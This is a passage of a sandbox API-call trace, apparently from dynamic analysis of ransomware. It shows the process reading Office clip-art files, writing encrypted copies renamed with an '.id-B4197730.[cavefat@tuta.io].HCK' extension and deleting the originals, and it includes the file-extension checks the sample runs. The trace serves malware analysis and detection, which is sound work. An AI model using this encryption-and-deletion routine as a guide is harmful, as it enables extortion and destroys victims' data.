lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".1cd") returned 4 [0168.372] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".jpg") returned 4 [0168.372] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.373] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.373] lstrlenW (lpString="J0146142.JPG") returned 12 [0168.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.378] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=46508) returned 1 [0168.378] CloseHandle (hObject=0x378) returned 1 [0168.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0168.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.385] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.385] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.396] GetLastError () returned 0x0 [0168.396] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0168.399] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0168.400] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.400] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.400] SetEndOfFile (hFile=0x354) returned 1 [0168.409] CloseHandle (hObject=0x354) returned 1 [0168.413] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.413] SetEndOfFile (hFile=0x308) returned 1 [0168.424] CloseHandle (hObject=0x308) returned 1 [0168.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.431] lstrlenW (lpString=".doc") returned 4 [0168.431] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.431] lstrlenW (lpString=".docx") returned 5 [0168.431] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0168.431] lstrlenW (lpString=".pdf") returned 4 [0168.431] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.431] lstrlenW (lpString=".xls") returned 4 [0168.431] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.431] lstrlenW (lpString=".xlsx") returned 5 [0168.431] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0168.431] lstrlenW (lpString=".ppt") returned 4 [0168.431] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.431] lstrlenW (lpString=".zip") returned 4 [0168.431] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.431] lstrlenW (lpString=".rar") returned 4 [0168.431] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.431] lstrlenW (lpString=".bz2") returned 4 [0168.431] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.431] lstrlenW (lpString=".7z") returned 3 [0168.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.431] lstrlenW (lpString=".dbf") returned 4 [0168.431] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".1cd") returned 4 [0168.432] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".jpg") returned 4 [0168.432] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".doc") returned 4 [0168.432] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.432] lstrlenW (lpString=".docx") returned 5 [0168.432] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0168.432] lstrlenW (lpString=".pdf") returned 4 [0168.432] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.432] lstrlenW (lpString=".xls") returned 4 [0168.432] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.432] lstrlenW (lpString=".xlsx") returned 5 [0168.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0168.432] lstrlenW (lpString=".ppt") returned 4 [0168.432] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".zip") returned 4 [0168.432] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.432] lstrlenW (lpString=".rar") returned 4 [0168.432] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.432] lstrlenW (lpString=".bz2") returned 4 [0168.432] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.432] lstrlenW (lpString=".7z") returned 3 [0168.432] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".dbf") returned 4 [0168.432] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.432] lstrlenW (lpString=".1cd") returned 4 [0168.432] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0168.433] lstrlenW (lpString=".jpg") returned 4 [0168.433] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.433] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.433] lstrlenW (lpString="J0148798.JPG") returned 12 [0168.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.450] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=38237) returned 1 [0168.450] CloseHandle (hObject=0x354) returned 1 [0168.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0168.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.480] GetLastError () returned 0x0 [0168.480] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x955d, lpOverlapped=0x0) returned 1 [0168.483] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9560, lpOverlapped=0x0) returned 1 [0168.484] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.484] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.484] SetEndOfFile (hFile=0x308) returned 1 [0168.489] CloseHandle (hObject=0x308) returned 1 [0168.492] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.492] SetEndOfFile (hFile=0x39c) returned 1 [0168.499] CloseHandle (hObject=0x39c) returned 1 [0168.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString=".doc") returned 4 [0168.504] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.504] lstrlenW (lpString=".docx") returned 5 [0168.504] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.504] lstrlenW (lpString=".pdf") returned 4 [0168.504] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.504] lstrlenW (lpString=".xls") returned 4 [0168.504] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.504] lstrlenW (lpString=".xlsx") returned 5 [0168.504] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.504] lstrlenW (lpString=".ppt") returned 4 [0168.504] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString=".zip") returned 4 [0168.504] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.504] lstrlenW (lpString=".rar") returned 4 [0168.504] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.504] lstrlenW (lpString=".bz2") returned 4 [0168.504] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.504] lstrlenW (lpString=".7z") returned 3 [0168.504] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString=".dbf") returned 4 [0168.504] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString=".1cd") returned 4 [0168.504] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.504] lstrlenW (lpString=".jpg") returned 4 [0168.504] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString=".doc") returned 4 [0168.505] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.505] lstrlenW (lpString=".docx") returned 5 [0168.505] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.505] lstrlenW (lpString=".pdf") returned 4 [0168.505] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.505] lstrlenW (lpString=".xls") returned 4 [0168.505] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.505] lstrlenW (lpString=".xlsx") returned 5 [0168.505] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.505] lstrlenW (lpString=".ppt") returned 4 [0168.505] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString=".zip") returned 4 [0168.505] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.505] lstrlenW (lpString=".rar") returned 4 [0168.505] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.505] lstrlenW (lpString=".bz2") returned 4 [0168.505] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.505] lstrlenW (lpString=".7z") returned 3 [0168.505] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString=".dbf") returned 4 [0168.505] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString=".1cd") returned 4 [0168.505] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0168.505] lstrlenW (lpString=".jpg") returned 4 [0168.505] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.505] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.505] lstrlenW (lpString="J0150861.WMF") returned 12 [0168.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.508] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8494) returned 1 [0168.508] CloseHandle (hObject=0x330) returned 1 [0168.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0168.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.518] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.518] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.522] GetLastError () returned 0x0 [0168.522] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x212e, lpOverlapped=0x0) returned 1 [0168.524] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2130, lpOverlapped=0x0) returned 1 [0168.525] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.525] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.525] SetEndOfFile (hFile=0x3ac) returned 1 [0168.527] CloseHandle (hObject=0x3ac) returned 1 [0168.529] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.529] SetEndOfFile (hFile=0x378) returned 1 [0168.532] CloseHandle (hObject=0x378) returned 1 [0168.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".doc") returned 4 [0168.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString=".docx") returned 5 [0168.540] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0168.540] lstrlenW (lpString=".pdf") returned 4 [0168.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString=".xls") returned 4 [0168.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.540] lstrlenW (lpString=".xlsx") returned 5 [0168.540] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0168.540] lstrlenW (lpString=".ppt") returned 4 [0168.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".zip") returned 4 [0168.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.540] lstrlenW (lpString=".rar") returned 4 [0168.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString=".bz2") returned 4 [0168.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString=".7z") returned 3 [0168.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".dbf") returned 4 [0168.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".1cd") returned 4 [0168.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".jpg") returned 4 [0168.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.540] lstrlenW (lpString=".doc") returned 4 [0168.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString=".docx") returned 5 [0168.541] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0168.541] lstrlenW (lpString=".pdf") returned 4 [0168.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString=".xls") returned 4 [0168.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.541] lstrlenW (lpString=".xlsx") returned 5 [0168.541] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0168.541] lstrlenW (lpString=".ppt") returned 4 [0168.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.541] lstrlenW (lpString=".zip") returned 4 [0168.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.541] lstrlenW (lpString=".rar") returned 4 [0168.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString=".bz2") returned 4 [0168.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString=".7z") returned 3 [0168.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.541] lstrlenW (lpString=".dbf") returned 4 [0168.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.541] lstrlenW (lpString=".1cd") returned 4 [0168.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0168.541] lstrlenW (lpString=".jpg") returned 4 [0168.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.541] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.541] lstrlenW (lpString="J0151055.WMF") returned 12 [0168.541] CreateFileW 